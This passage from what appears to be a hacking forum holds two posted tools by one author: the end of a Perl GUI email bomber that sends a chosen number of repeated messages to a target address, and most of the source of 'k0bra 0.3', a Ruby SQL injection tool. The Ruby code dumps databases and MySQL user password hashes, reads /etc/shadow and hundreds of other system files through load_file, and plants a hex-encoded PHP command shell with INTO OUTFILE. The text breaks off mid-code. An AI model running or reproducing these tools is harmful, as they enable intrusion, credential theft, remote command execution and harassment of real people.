  38.    -foreground => $color_texto
  39. )->place( -x => 20, -y => 80 );
  40. my $user = $ve->Entry(
  41.    -width      => 30,
  42.    -text       => 'lagartojuancho@gmail.com',
  43.    -background => $color_fondo,
  44.    -foreground => $color_texto
  45. )->place( -y => 83, -x => 85 );
  46.  
  47. $ve->Label(
  48.    -text       => "Password : ",
  49.    -background => $color_fondo,
  50.    -foreground => $color_texto
  51. )->place( -x => 20, -y => 120 );
  52. my $pass = $ve->Entry(
  53.    -show       => "*",
  54.    -width      => 30,
  55.    -text       => 'Secret',
  56.    -background => $color_fondo,
  57.    -foreground => $color_texto
  58. )->place( -y => 123, -x => 85 );
  59.  
  60. $ve->Label(
  61.    -text       => "Message",
  62.    -font       => "Impact3",
  63.    -background => $color_fondo,
  64.    -foreground => $color_texto
  65. )->place( -x => 110, -y => 160 );
  66.  
  67. $ve->Label(
  68.    -text       => "Number : ",
  69.    -background => $color_fondo,
  70.    -foreground => $color_texto
  71. )->place( -x => 20, -y => 210 );
  72. my $number = $ve->Entry(
  73.    -width      => 5,
  74.    -text       => "20",
  75.    -background => $color_fondo,
  76.    -foreground => $color_texto
  77. )->place( -x => 75, -y => 212 );
  78.  
  79. $ve->Label(
  80.    -text       => "Target : ",
  81.    -background => $color_fondo,
  82.    -foreground => $color_texto
  83. )->place( -x => 20, -y => 240 );
  84. my $to = $ve->Entry(
  85.    -text       => 'idiot@gmail.com',
  86.    -width      => 30,
  87.    -background => $color_fondo,
  88.    -foreground => $color_texto
  89. )->place( -x => 73, -y => 242 );
  90.  
  91. $ve->Label(
  92.    -text       => "Subject : ",
  93.    -background => $color_fondo,
  94.    -foreground => $color_texto
  95. )->place( -x => 20, -y => 270 );
  96. my $tema = $ve->Entry(
  97.    -text       => "Hi idiot",
  98.    -width      => 20,
  99.    -background => $color_fondo,
  100.    -foreground => $color_texto
  101. )->place( -x => 73, -y => 273 );
  102.  
  103. $ve->Label(
  104.    -text       => "Body",
  105.    -font       => "Impact3",
  106.    -background => $color_fondo,
  107.    -foreground => $color_texto
  108. )->place( -x => 110, -y => 310 );
  109. my $body = $ve->Text(
  110.    -width      => 30,
  111.    -height     => 12,
  112.    -background => $color_fondo,
  113.    -foreground => $color_texto
  114. )->place( -x => 45, -y => 350 );
  115. $body->insert( "end", "Welcome to the hell" );
  116.  
  117. $ve->Button(
  118.    -text             => "Send",
  119.    -width            => 10,
  120.    -command          => \&start,
  121.    -background       => $color_fondo,
  122.    -foreground       => $color_texto,
  123.    -activebackground => $color_texto
  124. )->place( -x => 43, -y => 550 );
  125. $ve->Button(
  126.    -text             => "About",
  127.    -width            => 10,
  128.    -command          => \&about,
  129.    -background       => $color_fondo,
  130.    -foreground       => $color_texto,
  131.    -activebackground => $color_texto
  132. )->place( -x => 117, -y => 550 );
  133. $ve->Button(
  134.    -text             => "Exit",
  135.    -width            => 10,
  136.    -command          => [ $ve => "destroy" ],
  137.    -background       => $color_fondo,
  138.    -foreground       => $color_texto,
  139.    -activebackground => $color_texto
  140. )->place( -x => 190, -y => 550 );
  141.  
  142. MainLoop;
  143.  
  144. sub start {
  145.  
  146.    $text = $body->get( "1.0", "end" );
  147.    chomp $text;
  148.  
  149.    if (
  150.        my $mail = Email::Send::SMTP::Gmail->new(
  151.            -smtp  => "gmail.com",
  152.            -login => $user->get,
  153.            -pass  => $pass->get
  154.        )
  155.      )
  156.    {
  157.  
  158.        for my $number ( 1 .. $number->get ) {
  159.            $ve->update;
  160.            $mail->send(
  161.                -to      => $to->get,
  162.                -subject => $tema->get,
  163.                -body    => $text
  164.            );
  165.        }
  166.  
  167.        Win32::MsgBox( "Send", 0, "Mails Send" );
  168.  
  169.        $mail->bye;
  170.  
  171.    }
  172.    else {
  173.        Win32::MsgBox( "Error in the login", 0, "Error" );
  174.    }
  175. }
  176.  
  177. sub about {
  178.  
  179.    my $text =
  180. "This program was written by Doddy H for the Tournament of Programming Perl
  181. to forum HackxCrack";
  182.  
  183.    Win32::MsgBox( $text, 0, "About" );
  184.  
  185. }
  186.  
  187. #The End ?
  188.  
286  Programación / Scripting / [Ruby] k0bra 0.3 en: 16 Febrero 2012, 18:16 pm
Un simple scanner SQLI con las siguientes funciones


  • Comprobar vulnerabilidad
  • Buscar numero de columnas
  • Buscar automaticamente el numero para mostrar datos
  • Mostras tablas
  • Mostrar columnas
  • Mostrar bases de datos
  • Mostrar tablas de otra DB
  • Mostrar columnas de una tabla de otra DB
  • Mostrar usuarios de mysql.user
  • Buscar archivos usando load_file
  • Mostrar un archivo usando load_file
  • Mostrar valores
  • Mostrar informacion sobre la DB
  • Crear una shell usando outfile
  • Todo se guarda en logs ordenados
Código
  1. #!usr/bin/ruby
  2. #K0bra 0.3
  3. #Coded By Doddy H
  4.  
  5. require "net/http"
  6.  
  7. $files = ['C:/xampp/htdocs/aca.txt','C:/xampp/htdocs/aca.txt','C:/xampp/htdocs/admin.php','C:/xampp/htdocs/leer.txt','../../../boot.ini','../../../../boot.ini','../../../../../boot.ini','../../../../../../boot.ini','/etc/passwd','/etc/shadow','/etc/shadow~','/etc/hosts','/etc/motd','/etc/apache/apache.conf','/etc/fstab','/etc/apache2/apache2.conf','/etc/apache/httpd.conf','/etc/httpd/conf/httpd.conf','/etc/apache2/httpd.conf','/etc/apache2/sites-available/default','/etc/mysql/my.cnf','/etc/my.cnf','/etc/sysconfig/network-scripts/ifcfg-eth0','/etc/redhat-release','/etc/httpd/conf.d/php.conf','/etc/pam.d/proftpd','/etc/phpmyadmin/config.inc.php','/var/www/config.php','/etc/httpd/logs/error_log','/etc/httpd/logs/error.log','/etc/httpd/logs/access_log','/etc/httpd/logs/access.log','/var/log/apache/error_log','/var/log/apache/error.log','/var/log/apache/access_log','/var/log/apache/access.log','/var/log/apache2/error_log','/var/log/apache2/error.log','/var/log/apache2/access_log','/var/log/apache2/access.log','/var/www/logs/error_log','/var/www/logs/error.log','/var/www/logs/access_log','/var/www/logs/access.log','/usr/local/apache/logs/error_log','/usr/local/apache/logs/error.log','/usr/local/apache/logs/access_log','/usr/local/apache/logs/access.log','/var/log/error_log','/var/log/error.log','/var/log/access_log','/var/log/access.log','/etc/group','/etc/security/group','/etc/security/passwd','/etc/security/user','/etc/security/environ','/etc/security/limits','/usr/lib/security/mkuser.default','/apache/logs/access.log','/apache/logs/error.log','/etc/httpd/logs/acces_log','/etc/httpd/logs/acces.log','/var/log/httpd/access_log','/var/log/httpd/error_log','/apache2/logs/error.log','/apache2/logs/access.log','/logs/error.log','/logs/access.log','/usr/local/apache2/logs/access_log','/usr/local/apache2/logs/access.log','/usr/local/apache2/logs/error_log','/usr/local/apache2/logs/error.log','/var/log/httpd/access.log','/var/log/httpd/error.log','/opt/lampp/logs/access_log','/opt/lampp/logs/error_log','/opt/xampp/logs/access_log','/opt/xampp/logs/error_log','/opt/lampp/logs/access.log','/opt/lampp/logs/error.log','/opt/xampp/logs/access.log','/opt/xampp/logs/error.log','C:\ProgramFiles\ApacheGroup\Apache\logs\access.log','C:\ProgramFiles\ApacheGroup\Apache\logs\error.log','/usr/local/apache/conf/httpd.conf','/usr/local/apache2/conf/httpd.conf','/etc/apache/conf/httpd.conf','/usr/local/etc/apache/conf/httpd.conf','/usr/local/apache/httpd.conf','/usr/local/apache2/httpd.conf','/usr/local/httpd/conf/httpd.conf','/usr/local/etc/apache2/conf/httpd.conf','/usr/local/etc/httpd/conf/httpd.conf','/usr/apache2/conf/httpd.conf','/usr/apache/conf/httpd.conf','/usr/local/apps/apache2/conf/httpd.conf','/usr/local/apps/apache/conf/httpd.conf','/etc/apache2/conf/httpd.conf','/etc/http/conf/httpd.conf','/etc/httpd/httpd.conf','/etc/http/httpd.conf','/etc/httpd.conf','/opt/apache/conf/httpd.conf','/opt/apache2/conf/httpd.conf','/var/www/conf/httpd.conf','/private/etc/httpd/httpd.conf','/private/etc/httpd/httpd.conf.default','/Volumes/webBackup/opt/apache2/conf/httpd.conf','/Volumes/webBackup/private/etc/httpd/httpd.conf','/Volumes/webBackup/private/etc/httpd/httpd.conf.default','C:\ProgramFiles\ApacheGroup\Apache\conf\httpd.conf','C:\ProgramFiles\ApacheGroup\Apache2\conf\httpd.conf','C:\ProgramFiles\xampp\apache\conf\httpd.conf','/usr/local/php/httpd.conf.php','/usr/local/php4/httpd.conf.php','/usr/local/php5/httpd.conf.php','/usr/local/php/httpd.conf','/usr/local/php4/httpd.conf','/usr/local/php5/httpd.conf','/Volumes/Macintosh_HD1/opt/httpd/conf/httpd.conf','/Volumes/Macintosh_HD1/opt/apache/conf/httpd.conf','/Volumes/Macintosh_HD1/opt/apache2/conf/httpd.conf','/Volumes/Macintosh_HD1/usr/local/php/httpd.conf.php','/Volumes/Macintosh_HD1/usr/local/php4/httpd.conf.php','/Volumes/Macintosh_HD1/usr/local/php5/httpd.conf.php','/usr/local/etc/apache/vhosts.conf','/etc/php.ini','/bin/php.ini','/etc/httpd/php.ini','/usr/lib/php.ini','/usr/lib/php/php.ini','/usr/local/etc/php.ini','/usr/local/lib/php.ini','/usr/local/php/lib/php.ini','/usr/local/php4/lib/php.ini','/usr/local/php5/lib/php.ini','/usr/local/apache/conf/php.ini','/etc/php4.4/fcgi/php.ini','/etc/php4/apache/php.ini','/etc/php4/apache2/php.ini','/etc/php5/apache/php.ini','/etc/php5/apache2/php.ini','/etc/php/php.ini','/etc/php/php4/php.ini','/etc/php/apache/php.ini','/etc/php/apache2/php.ini','/web/conf/php.ini','/usr/local/Zend/etc/php.ini','/opt/xampp/etc/php.ini','/var/local/www/conf/php.ini','/etc/php/cgi/php.ini','/etc/php4/cgi/php.ini','/etc/php5/cgi/php.ini','c:\php5\php.ini','c:\php4\php.ini','c:\php\php.ini','c:\PHP\php.ini','c:\WINDOWS\php.ini','c:\WINNT\php.ini','c:\apache\php\php.ini','c:\xampp\apache\bin\php.ini','c:\NetServer\bin\stable\apache\php.ini','c:\home2\bin\stable\apache\php.ini','c:\home\bin\stable\apache\php.ini','/Volumes/Macintosh_HD1/usr/local/php/lib/php.ini','/usr/local/cpanel/logs','/usr/local/cpanel/logs/stats_log','/usr/local/cpanel/logs/access_log','/usr/local/cpanel/logs/error_log','/usr/local/cpanel/logs/license_log','/usr/local/cpanel/logs/login_log','/var/cpanel/cpanel.config','/var/log/mysql/mysql-bin.log','/var/log/mysql.log','/var/log/mysqlderror.log','/var/log/mysql/mysql.log','/var/log/mysql/mysql-slow.log','/var/mysql.log','/var/lib/mysql/my.cnf','C:\ProgramFiles\MySQL\MySQLServer5.0\data\hostname.err','C:\ProgramFiles\MySQL\MySQLServer5.0\data\mysql.log','C:\ProgramFiles\MySQL\MySQLServer5.0\data\mysql.err','C:\ProgramFiles\MySQL\MySQLServer5.0\data\mysql-bin.log','C:\ProgramFiles\MySQL\data\hostname.err','C:\ProgramFiles\MySQL\data\mysql.log','C:\ProgramFiles\MySQL\data\mysql.err','C:\ProgramFiles\MySQL\data\mysql-bin.log','C:\MySQL\data\hostname.err','C:\MySQL\data\mysql.log','C:\MySQL\data\mysql.err','C:\MySQL\data\mysql-bin.log','C:\ProgramFiles\MySQL\MySQLServer5.0\my.ini','C:\ProgramFiles\MySQL\MySQLServer5.0\my.cnf','C:\ProgramFiles\MySQL\my.ini','C:\ProgramFiles\MySQL\my.cnf','C:\MySQL\my.ini','C:\MySQL\my.cnf','/etc/logrotate.d/proftpd','/www/logs/proftpd.system.log','/var/log/proftpd','/etc/proftp.conf','/etc/protpd/proftpd.conf','/etc/vhcs2/proftpd/proftpd.conf','/etc/proftpd/modules.conf','/var/log/vsftpd.log','/etc/vsftpd.chroot_list','/etc/logrotate.d/vsftpd.log','/etc/vsftpd/vsftpd.conf','/etc/vsftpd.conf','/etc/chrootUsers','/var/log/xferlog','/var/adm/log/xferlog','/etc/wu-ftpd/ftpaccess','/etc/wu-ftpd/ftphosts','/etc/wu-ftpd/ftpusers','/usr/sbin/pure-config.pl','/usr/etc/pure-ftpd.conf','/etc/pure-ftpd/pure-ftpd.conf','/usr/local/etc/pure-ftpd.conf','/usr/local/etc/pureftpd.pdb','/usr/local/pureftpd/etc/pureftpd.pdb','/usr/local/pureftpd/sbin/pure-config.pl','/usr/local/pureftpd/etc/pure-ftpd.conf','/etc/pure-ftpd/pure-ftpd.pdb','/etc/pureftpd.pdb','/etc/pureftpd.passwd','/etc/pure-ftpd/pureftpd.pdb','/var/log/pure-ftpd/pure-ftpd.log','/logs/pure-ftpd.log','/var/log/pureftpd.log','/var/log/ftp-proxy/ftp-proxy.log','/var/log/ftp-proxy','/var/log/ftplog','/etc/logrotate.d/ftp','/etc/ftpchroot','/etc/ftphosts','/var/log/exim_mainlog','/var/log/exim/mainlog','/var/log/maillog','/var/log/exim_paniclog','/var/log/exim/paniclog','/var/log/exim/rejectlog','/var/log/exim_rejectlog']
  8.  
  9. def toma(web)
  10.  return Net::HTTP.get_response(URI.parse(web)).body
  11. end
  12.  
  13. def copyright()
  14.  print "\n\n(C) Doddy Hackman 2012\n\n"
  15.  gets.chomp
  16. end
  17.  
  18. def installer()
  19.  dir = Dir::pwd+"/"+"logs_webs"
  20.  if not FileTest::directory?(dir)
  21.    Dir::mkdir(dir)
  22.  end
  23. end
  24.  
  25. def encodehex(texto)
  26.  return "0x"+(texto.unpack('H*')[0])
  27. end
  28.  
  29. def savefile(file,text)
  30.  url = URI.parse(file)
  31.  save = File.open("logs_webs/"+url.host+".txt","a")
  32.  save.puts text+"\n"
  33.  save.close
  34. end
  35.  
  36. def bypass(op)
  37.  if op=="--"
  38.    return "+","--"
  39.  elsif op=="/*"
  40.   return "/**/","/**/"
  41.  elsif op=="%20"
  42.   return "%20","%00"
  43.  else
  44.   return "+","--"    
  45.  end
  46. end
  47.  
  48. def head()
  49.  
  50.  print "
  51.  
  52. @      @@   @            
  53. @@     @  @ @@            
  54. @ @@  @  @  @ @   @ @ @@@
  55. @ @   @  @  @@ @ @@@ @  @
  56. @@    @  @  @  @  @   @@@
  57. @ @   @  @  @  @  @  @  @
  58. @@@ @   @@   @@@  @@@ @@@@@
  59.  
  60. "
  61. end
  62.  
  63. def volverinicio()
  64.  print "\n\n[+] Press any key to continue\n\n"
  65.  gets.chomp
  66.  inicio()
  67. end
  68.  
  69. def clean()
  70.  if RUBY_PLATFORM=~/win/
  71.    system("cls")
  72.  else
  73.    system("clear")
  74.  end
  75. end
  76.  
  77. def retorno(url,by)
  78.  print "\n\n[+] Press any key to continue\n\n"
  79.  gets.chomp
  80.  central(url,by)
  81. end
  82.  
  83. def gettables(url,by)
  84.  pass1,pass2 = bypass(by)
  85.  web1 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,count(table_name),0x4b30425241)))")
  86.  web2 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,table_name,0x4b30425241)))")
  87.  print "\n\n[+] Getting tables ...\n\n"
  88.  code1 = toma(web1+pass1+"from"+pass1+"information_schema.tables"+pass2)
  89.  if code1=~/K0BRA(.*?)K0BRA/
  90.    total = $1
  91.    print "[+] Tables Found : ",total,"\n\n"
  92.    savefile(url,"\n[+] Tables Found : #{total}\n")
  93.    for num in ("17"..total)
  94.      code2 = toma(web2+pass1+"from"+pass1+"information_schema.tables"+pass1+"limit"+pass1+num+",1"+pass2)
  95.      if code2=~/K0BRA(.*?)K0BRA/
  96.        table = $1
  97.        print "[+] Table Found : "+table+"\n"
  98.        savefile(url,"[+] Table Found : #{table}")
  99.      end
  100.    end
  101.  else
  102.    print "[-] Not Found\n"
  103.  end
  104. end
  105.  
  106. def getcolumns(url,by,tablex)
  107.  tablexa = encodehex(tablex)
  108.  pass1,pass2 = bypass(by)
  109.  web1 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,count(column_name),0x4b30425241)))")
  110.  web2 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,column_name,0x4b30425241)))")
  111.  print "\n\n[+] Getting columns ...\n\n"
  112.  code1 = toma(web1+pass1+"from"+pass1+"information_schema.columns"+pass1+"where"+pass1+"table_name="+tablexa+pass2)
  113.  if code1=~/K0BRA(.*?)K0BRA/
  114.    total = $1
  115.    print "[+] Columns Found : ",total,"\n\n"
  116.    savefile(url,"\n[+] Table : #{tablex}")
  117.    savefile(url,"[+] Columns Found : #{total}\n")
  118.    for num in ("0"..total)
  119.      code2 = toma(web2+pass1+"from"+pass1+"information_schema.columns"+pass1+"where"+pass1+"table_name="+tablexa+pass1+"limit"+pass1+num+",1"+pass2)
  120.      if code2=~/K0BRA(.*?)K0BRA/
  121.        table = $1
  122.        print "[+] Column Found : "+table+"\n"
  123.        savefile(url,"[+] Column Found : #{table}")
  124.      end
  125.    end
  126.  else
  127.    print "[-] Not Found\n"
  128.  end
  129. end
  130.  
  131. def getdbs(url,by)
  132.  pass1,pass2 = bypass(by)
  133.  web1 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,count(*),0x4b30425241)))")
  134.  web2 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,schema_name,0x4b30425241)))")
  135.  print "\n\n[+] Getting DBS ...\n\n"
  136.  code1 = toma(web1+pass1+"from"+pass1+"information_schema.schemata"+pass2)
  137.  if code1=~/K0BRA(.*?)K0BRA/
  138.    total = $1
  139.    print "[+] DBS Found : ",total,"\n\n"
  140.    savefile(url,"\n[+] DBS Found : #{total}\n")
  141.    for num in ("0"..total)
  142.      code2 = toma(web2+pass1+"from"+pass1+"information_schema.schemata"+pass1+"limit"+pass1+num+",1"+pass2)
  143.      if code2=~/K0BRA(.*?)K0BRA/
  144.        table = $1
  145.        print "[+] DB Found : "+table+"\n"
  146.        savefile(url,"[+] DB Found : #{table}")
  147.      end
  148.    end
  149.  else
  150.    print "[-] Not Found\n"
  151.  end
  152. end
  153.  
  154. def gettablesbydb(url,by,dbx)
  155.  data  = encodehex(dbx)
  156.  pass1,pass2 = bypass(by)
  157.  web1 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,count(*),0x4b30425241)))")
  158.  web2 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,table_name,0x4b30425241)))")
  159.  print "\n\n[+] Getting tables ...\n\n"
  160.  code1 = toma(web1+pass1+"from"+pass1+"information_schema.tables"+pass1+"where"+pass1+"table_schema="+data+pass2)
  161.  if code1=~/K0BRA(.*?)K0BRA/
  162.    total = $1
  163.    print "[+] Tables Found : ",total,"\n\n"
  164.    savefile(url,"\n[+] DBS : #{dbx}")
  165.    savefile(url,"[+] Tables Found : #{total}\n")
  166.    for num in ("0"..total)
  167.      code2 = toma(web2+pass1+"from"+pass1+"information_schema.tables"+pass1+"where"+pass1+"table_schema="+data+pass1+"limit"+pass1+num+",1"+pass2)
  168.      if code2=~/K0BRA(.*?)K0BRA/
  169.        table = $1
  170.        print "[+] Table Found : "+table+"\n"
  171.        savefile(url,"[+] Table Found : #{table}")
  172.      end
  173.    end
  174.  else
  175.    print "[-] Not Found\n"
  176.  end
  177. end
  178.  
  179. def getcolumnsbydb(url,by,db,tab)
  180.  data = encodehex(db)
  181.  tabx = encodehex(tab)
  182.  
  183.  pass1,pass2 = bypass(by)
  184.  web1 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,count(*),0x4b30425241)))")
  185.  web2 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,column_name,0x4b30425241)))")
  186.  print "\n\n[+] Getting columns ...\n\n"
  187.  code1 = toma(web1+pass1+"from"+pass1+"information_schema.columns"+pass1+"where"+pass1+"table_name="+tabx+pass1+"and"+pass1+"table_schema="+data+pass2)
  188.  if code1=~/K0BRA(.*?)K0BRA/
  189.    total = $1
  190.    print "[+] Columns Found : ",total,"\n\n"
  191.    savefile(url,"\n[+] DB : #{db}")
  192.    savefile(url,"[+] Table : #{tab}")
  193.    savefile(url,"[+] Columns Found : #{total}\n")
  194.    for num in ("0"..total)
  195.      code2 = toma(web2+pass1+"from"+pass1+"information_schema.columns"+pass1+"where"+pass1+"table_name="+tabx+pass1+"and"+pass1+"table_schema="+data+pass1+"limit"+pass1+num+",1"+pass2)
  196.      if code2=~/K0BRA(.*?)K0BRA/
  197.        table = $1
  198.        print "[+] Column Found : "+table+"\n"
  199.        savefile(url,"[+] Column Found : #{table}")
  200.      end
  201.    end
  202.  else
  203.    print "[-] Not Found\n"
  204.  end
  205. end
  206.  
  207. def mysqluser(url,by)
  208.  pass1,pass2 = bypass(by)
  209.  web1 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,count(*),0x4b30425241)))")
  210.  web2 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,Host,0x4b30425241,0x4B3042524131,User,0x4B3042524131,0x4B3042524132,Password,0x4B3042524132)))")
  211.   print "\n\n[+] Searching mysql.user\n\n"
  212.  code1 = toma(web1+pass1+"from"+pass1+"mysql.user"+pass2)
  213.  if code1=~/K0BRA(.*?)K0BRA/
  214.    total = $1
  215.    print "[+] Users Mysql Found : ",total,"\n\n"
  216.    savefile(url,"[+] Users Mysql Found : "+total+"\n")
  217.    for num in ("0"..total)
  218.      code2 = toma(web2+pass1+"from"+pass1+"mysql.user"+pass1+"limit"+pass1+num+",1"+pass2)
  219.      if code2=~/K0BRA(.*)K0BRAK0BRA1(.*)K0BRA1K0BRA2(.*)K0BRA2/
  220.        host,user,passw = $1,$2,$3
  221.        print "[Host] : "+host
  222.        print " [User] : "+user
  223.        print " [Pass] : "+passw+"\n"  
  224.        savefile(url,"[Host] : "+host)
  225.        savefile(url,"[User] : "+user)
  226.        savefile(url,"[Pass] : "+passw+"\n")
  227.      end
  228.    end
  229.  else
  230.    print "[-] Not Found\n"
  231.  end
  232. end
  233.  
  234. def details(url,by)
  235.  pass1,pass2 = bypass(by)
  236.  hextest = "0x2f6574632f706173737764" #/etc/passwd
  237.  hextest = "0x633A2F78616D70702F726561642E747874" #c:/xampp/read.txt
  238.  web1 = url.sub(/hackman/,"0x4b30425241")
  239.  web2 = url.sub(/hackman/,"concat(0x4b30425241,user(),0x4b30425241,database(),0x4b30425241,version(),0x4b30425241)")
  240.  web3 = url.sub(/hackman/,"unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file("+hextest+"))))")
  241.   print "\n\n[+] Extrating information of the DB\n\n"
  242.  code1 = toma(web2)
  243.  if code1=~/K0BRA(.*)K0BRA(.*)K0BRA(.*)K0BRA/
  244.    user,data,ver = $1,$2,$3
  245.    print "\n[+] Username : "+user
  246.    print "\n[+] Database : "+data
  247.    print "\n[+] Version : "+ver+"\n\n"
  248.    savefile(url,"\n[+] Username : "+user)
  249.    savefile(url,"[+] Database : "+data)
  250.    savefile(url,"[+] Version : "+ver+"\n")
  251.  else
  252.    print "[-] Not Found\n"
  253.  end
  254.   code2 = toma(web1+pass1+"from"+pass1+"mysql.user"+pass2)
  255.   code3 = toma(web1+pass1+"from"+pass1+"information_schema.tables"+pass2)
  256.   code4 = toma(web3)
  257.   if code2=~/K0BRA/
  258.     print "[+] Mysqluser : ON\n"
  259.     savefile(url,"[+] Mysqluser : ON")
  260.   end
  261.   if code3=~/K0BRA/
  262.     print "[+] information_schema : ON\n"
  263.     savefile(url,"[+] information_schema : ON")
  264.   end
  265.   if code4=~/ERTOR854/
  266.     print "[+] load_file : ON\n"
  267.     savefile(url,"[+] load_file : ON")
  268.   end  
  269.   savefile(url,"") #espacio en blanco
  270. end
  271.  
  272. def dumper(url,by,table,col1,col2)
  273.  pass1,pass2 = bypass(by)
  274.  web1 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,count(*),0x4b30425241)))")
  275.  web2 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,"+col1+",0x4b30425241,"+col2+",0x4b30425241)))")
  276.  print "\n\n[+] Getting Values ...\n\n"
  277.  code1 = toma(web1+pass1+"from"+pass1+table+pass2)
  278.  if code1=~/K0BRA(.*?)K0BRA/
  279.    total = $1
  280.    savefile(url,"\n[+] Table : "+table)
  281.    savefile(url,"[+] Column 1 : "+col1)
  282.    savefile(url,"[+] Column 2 : "+col2)
  283.    print "[+] Values Found : ",total,"\n\n"
  284.    savefile(url,"\n[+] Values Found : #{total}\n")
  285.    for num in ("0"..total)
  286.      code2 = toma(web2+pass1+"from"+pass1+table+pass1+"limit"+pass1+num+",1"+pass2)
  287.      if code2=~/K0BRA(.*)K0BRA(.*)K0BRA/
  288.        uno,dos = $1,$2
  289.        print "\n[+] "+col1+" : "+uno+"\n"
  290.        print "[+] "+col2+" : "+dos+"\n"
  291.        savefile(url,"\n[+] "+col1+" : "+uno)
  292.        savefile(url,"[+] "+col2+" : "+dos)
  293.      end
  294.    end
  295.  else
  296.    print "[-] Not Found\n"
  297.  end
  298. end
  299.  
  300. def fuzzfile(url,by)
  301.  pass1,pass2 = bypass(by)
  302.  print "\n\n[+] Fuzzing Files with load_file ....\n"
  303.  $files.each do |file|
  304.    res = file
  305.    file = file.chomp
  306.    file = encodehex(file)
  307.    web1 = url.sub(/hackman/,"unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file("+file+"),char(69,82,84,79,82,56,53,52))))")
  308.    code = toma(web1)
  309.    if code=~/ERTOR854(.*?)ERTOR854/m
  310.      print "\n\n[File Found] : ",res
  311.      print "\n\n[Source Start]\n"
  312.      print $1
  313.      print "\n[Source End]"
  314.      savefile(url,"\n[File Found] : "+res)
  315.      savefile(url,"\n[Source Start]\n")
  316.      savefile(url,$1)
  317.      savefile(url,"\n[Source End]")
  318.    end    
  319.  end
  320. end
  321.  
  322. def abrirfile(url,by,file)
  323.  pass1,pass2 = bypass(by)
  324.  print "\n\n[+] Opening file ....\n"
  325.  res = file
  326.  file = encodehex(file)
  327.    web1 = url.sub(/hackman/,"unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file("+file+"),char(69,82,84,79,82,56,53,52))))")
  328.    code = toma(web1)
  329.    if code=~/ERTOR854(.*?)ERTOR854/m
  330.      print "\n\n[File Found] : ",res
  331.      print "\n\n[Source Start]\n"
  332.      print $1
  333.      print "\n[Source End]"
  334.      savefile(url,"\n[File Found] : "+res)
  335.      savefile(url,"\n[Source Start]\n")
  336.      savefile(url,$1)
  337.      savefile(url,"\n[Source End]")
  338.    else
  339.      print "\n\n[-] Error\n\n"
  340.    end    
  341. end
  342.  
  343. def into(url,by,full,dir)
  344.  pass1,pass2 = bypass(by)
  345.  linea= "0x3c7469746c653e4d696e69205368656c6c20427920446f6464793c2f7469746c653e3c3f7068702069662028697373657428245f4745545b27636d64275d2929207b2073797374656d28245f4745545b27636d64275d293b7d3f3e"
  346.  lugar = full+"/cmd.php"
  347.  lugardos = dir+"/cmd.php"
  348.  h = URI.parse(url)
  349.  webtest = "http://"+h.host+lugardos
  350.  web1 = url.sub(/hackman/,linea)
  351.  formandoweb = web1+pass1+"into"+pass1+"outfile"+pass1+"'"+lugar+"'"+pass2
  352.  toma(formandoweb)
  353.  code = toma(webtest)
  354.  if code=~/Mini Shell By Doddy/
  355.    print "\n\n[shell up] : "+webtest+"\n"
  356.    savefile(url,"\n[shell up] : "+webtest+"\n")
  357.  else
  358.    print "\n\n[-] Error\n"
  359.  end
  360. end
  361.  
  362. def central(url,by)
  363.  clean()
  364.  head()
  365.  print "\n\n[+] Page : #{url}\n"
  366.  print "[+] ByPass : #{by}\n\n\n"
  367.  
  368.  print "\n[information_schema]\n\n"
  369.  print "1 - Show tables\n"
  370.  print "2 - Show columns of the a table\n"
  371.  print "3 - Show databases\n"
  372.  print "4 - Show tables from the a DB\n"
  373.  print "5 - Show columns from the a table of the DB\n"
  374.  print "\n[mysql.user]\n\n"
  375.  print "6 - Show users\n"
  376.  print "\n[Others]\n\n"
  377.  print "7 - Show details\n"
  378.  print "8 - Dump data\n"
  379.  print "9 - Fuzz Files with load_file\n"
  380.  print "10 - Load files with load_file\n"
  381.  print "11 - Create Shell\n"
  382.  print "12 - Show log\n"
  383.  print "13 - Change target\n"
  384.  print "14 - Exit\n\n"
  385.  
  386.  print "[+] Option : "
  387.  op = gets.chomp
  388.  
  389.  if op == "1"
  390.    gettables(url,by)
  391.    retorno(url,by)
  392.  elsif op == "2"
  393.    print "\n\n[+] Table : "
  394.    table = gets.chomp
  395.    getcolumns(url,by,table)
  396.    retorno(url,by)
  397.  elsif op == "3"
  398.    getdbs(url,by)
  399.    retorno(url,by)
  400.  elsif op == "4"
  401.    print "\n\n[+] DB : "
  402.    db = gets.chomp
  403.    gettablesbydb(url,by,db)
  404.    retorno(url,by)
  405.  elsif op == "5"
  406.    print "\n\n[+] DB : "
  407.    db = gets.chomp
  408.    print "\n\n[+] Table : "
  409.    tab = gets.chomp
  410.    getcolumnsbydb(url,by,db,tab)
  411.    retorno(url,by)
  412.  elsif op == "6"
  413.    mysqluser(url,by)
  414.    retorno(url,by)
  415.  elsif op == "7"
  416.    details(url,by)
  417.    retorno(url,by)
  418.  elsif op == "8"
  419.    print "\n\n[+] Table : "
  420.    table = gets.chomp
  421.    print "\n\n[+] Column 1 : "
  422.    col1 = gets.chomp
  423.    print "\n\n[+] Column 2 : "
  424.    col2 = gets.chomp
  425.    dumper(url,by,table,col1,col2)
  426.    retorno(url,by)
  427.  elsif op == "9"
  428.    fuzzfile(url,by)
  429.    retorno(url,by)
  430.  elsif op == "10"
  431.    print "\n\n[+] File : "
  432.    file = gets.chomp
  433.    abrirfile(url,by,file)
  434.    retorno(url,by)
  435.  elsif op == "11"
  436.    print "\n\n[Full Source Discloure] : "
  437.    full = gets.chomp
  438.    print "\n\n[Directory to test] : "
  439.    dir = gets.chomp
  440.    into(url,by,full,dir)
  441.    retorno(url,by)
  442.  elsif op == "12"
  443.    urla = URI.parse(url)
  444.    ar = "logs_webs/"+urla.host+".txt"
  445.    system("start #{ar}")
  446.    retorno(url,by)
  447.  elsif op == "13"
  448.    inicio()
